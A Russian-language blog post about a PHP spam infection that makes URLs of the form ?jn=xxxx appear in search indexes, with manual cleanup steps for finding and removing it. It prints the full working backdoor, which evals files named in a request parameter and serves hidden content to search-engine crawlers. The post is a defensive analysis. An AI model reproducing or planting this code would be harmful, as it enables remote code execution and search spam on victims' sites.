Внедрение через URL: www.site.ru/?jn=xxxxxxxx

Буквально на днях столкнулся с новым (*?) вариантом спам-вируса для веб-сайтов. Гугл определяет его как «Внедрение через URL».

Описание

На вашем сайте появляются ссылки которых не было и быть не могло — вы, например, четко знаете структуру сайта и оригинальный вид URL, который отличается от «левых» URL. В частности, в индексе поисковиков появляются ссылки вида:
www.site.ru/?jn=xxxxxxxx

Поиск и устранение

Яндекс-Вебмастер пока не реагирует на них, а вот в инструментах Гугла для вебмастеров выдается предупреждение о возможном взломе сайта. Там же даны рекомендации по поиску. К сожалению они довольно общие и конкретный поиск проблемы занимает время. Антивирусы и он-лайн анализаторы сайтов — результата не дают. Только ручками.

Вариант А: Код не обфусцирован

  1. Ищем в исходниках кто и как у нас пользует переменную $_GET['jn']
  2. Далее по коду смотрим кто где гадит (например: \js\swfupload\plugins\jquery\)

Вариант Б: Код обфусцирован

  1. Ищем каталог с файлами, названия которых идут после "?jn="
  2. Ищем подозрительные исполняемые файлы типа images/c0nfv.php
  3. Можно сделать поиск путей где могут быть файлы а-ля "/img/icon/thumb/jquery.php"
  4. Проверить дату изменения конфигов CMS
  5. Рекомендуется проверить на наличие (корректность) файлов base.php — это само тело вируса, код обфусцирован
  6. Проверяем дату jquery.php и сравниваем ее с датой обнаружения вируса по мониторингу инструментов вебмастеров Гугла.

Встречается

Полный код (необфусцированного) зловредного кода под катом.

<?php if(isset($_GET['jn'])){ini_set/**/(strrev("gnitroper_rorre"),0);include "images/c0nfv.php";$uhvuusgp=str_replace('..','',$_GET[$qjkx]);if(is_file($ftdavmbe.'/'.$uhvuusgp)){header('Content-Type: text/html; charset=windows-1251',false);echo eval/**/('?>'.join("",file($ftdavmbe."/$uhvuusgp")).'<?');die;}}if(preg_match("/(yandex|google)/i", $_SERVER['HTTP_USER_AGENT'])){ini_set/**/(strrev("gnitroper_rorre"),0);include "images/c0nfv.php";if(is_file($ftdavmbe."/db.php")){include $ftdavmbe."/db.php";$jxbecpzx=preg_replace("/[0]*$/","", preg_replace("/\.*/","",(string)sprintf('%f', hexdec(sha1($_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'])))));$iwtcrjis=substr($jxbecpzx,20,3);if(substr($iwtcrjis,0,1)==0){do{$x++;$iwtcrjis=substr($jxbecpzx,20+$x,3);}while(substr($iwtcrjis,0,1)==0);}include $ftdavmbe."/".$iwtcrjisy[$iwtcrjis];echo mb_convert_encoding($ohjjpibn[72], 'UTF-8', 'Windows-1251');}}?>

Причины взлома

Вариантов, скорее всего, 3:

Статьи по теме:

Автором Всемирной паутины стал британский ученый Бернерс-Ли Тим Firefox будет предупреждать своих пользователей о «поддельной» выдаче Opera 21 всегда показывает полный URL В Роскомнадзоре вместо блога Навального видят котенка Новый троян может разорить владельца заражённого Android устройства Интернет вырос на треть за минувший год Новые инструменты от Google для быстрого управления настройками Торговых кампаний Новый вирус турецких хакеров заразил более 800 тысяч пользователей Facebook Проверить индексацию сайта в Яндекс.Вебмастере теперь невозможно Месяц бесплатных ссылок